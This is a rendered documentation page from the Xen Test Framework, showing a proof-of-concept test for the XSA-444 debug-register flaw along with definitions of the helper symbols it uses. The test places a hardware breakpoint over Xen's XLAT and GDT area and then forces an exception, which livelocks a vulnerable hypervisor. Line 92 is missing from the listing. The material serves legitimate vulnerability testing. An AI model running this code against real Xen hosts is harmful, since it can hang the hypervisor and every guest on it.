Xen Test Framework
main.c
Go to the documentation of this file.
1
59#include <xtf.h>
60
61const char test_title[] = "XSA-444 PoC";
62
63void test_main(void)
64{
65 unsigned long xlat;
66 desc_ptr gdtr;
67 long rc;
68
69 if ( !cpu_has_dbext )
70 return xtf_skip("Skip: DBEXT not available\n");
71
72 sgdt(&gdtr);
73
74 xlat = (gdtr.base & ~((1ul << PAE_L4_PT_SHIFT) - 1)) + 0x80000000ul;
75
76 /* Try to place %dr0 over the XLAT area. */
77 rc = hypercall_set_debugreg(0, xlat);
78 switch ( rc )
79 {
80 case 0:
81 xtf_failure("Fail: Breakpoint set on XLAT area. Probably vulnerable to XSA-444\n");
82 break;
83
84 case -EPERM:
85 return xtf_success("Success: Unable to set breakpoint on XLAT area. Probably not vulnerable to XSA-444\n");
86
87 default:
88 return xtf_error("Error: Unexpected error from set_debugreg(): %ld\n", rc);
89 }
90
91 /* Turn %dr0 into a 4G-wide breakpoint, which covers the GDT too. */
93
94 /*
95 * Activate %dr0. From this point on, any reference to the GDT will
96 * trigger @#DB. However, as the hypercall is via SYSCALL, the return is
97 * via SYSRET which doesn't trigger @#DB.
98 */
99 hypercall_set_debugreg(7, DR7_SYM(0, G, RW, 64) | X86_DR7_GE);
100
101 /*
102 * Beyond the hypercall setting up %dr7, Xen is running on borrowed time.
103 *
104 * Any interrupt or non-#DB exception will cause Xen to livelock in
105 * hypervisor context, but as long as we don't tickle any @#DB cases, we
106 * get to keep running.
107 *
108 * Force a #UD to cause Xen to livelock, if a stray interrupt hasn't done
109 * it for us already.
110 */
111 asm volatile ("1: ud2a; 2:"
112 _ASM_EXTABLE(1b, 2b));
113
114 /*
115 * If vulnerable, Xen won't even reach here. Cross-check with rc from
116 * above to provide a definitive statement.
117 */
118 if ( rc == -EPERM )
119 return xtf_success("Success: Xen didn't livelock. Not vulnerable to XSA-444\n");
120
121 /*
122 * If we're running, then some reasoning in the test is wrong.
123 */
124 return xtf_error("Error: Breakpoint set on XLAT but Xen didn't livelock\n");
125}
126
127/*
128 * Local variables:
129 * mode: C
130 * c-file-style: "BSD"
131 * c-basic-offset: 4
132 * tab-width: 4
133 * indent-tabs-mode: nil
134 * End:
135 */
#define cpu_has_dbext
Definition: cpuid.h:91
static void sgdt(desc_ptr *gdtr)
Definition: lib.h:347
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:110
const char test_title[]
The title of the test.
Definition: main.c:24
#define EPERM
Definition: errno.h:15
static long hypercall_set_debugreg(unsigned int reg, unsigned long val)
Definition: hypercall.h:80
#define _ASM_EXTABLE(fault, fixup)
Create an exception table entry.
Definition: extable.h:50
#define MSR_DR0_ADDR_MASK
Definition: msr-index.h:68
static void wrmsr(uint32_t idx, uint64_t val)
Thin wrapper around an wrmsr instruction.
Definition: msr.h:55
#define PAE_L4_PT_SHIFT
Definition: page-pae.h:35
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
void xtf_skip(const char *fmt,...)
Report a test skip.
Definition: report.c:66
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define DR7_SYM(bp,...)
Create a partial %dr7 setting for a particular breakpoint based on mnemonics.
Definition: x86-dbg-reg.h:100
#define X86_DR7_GE
Definition: x86-dbg-reg.h:30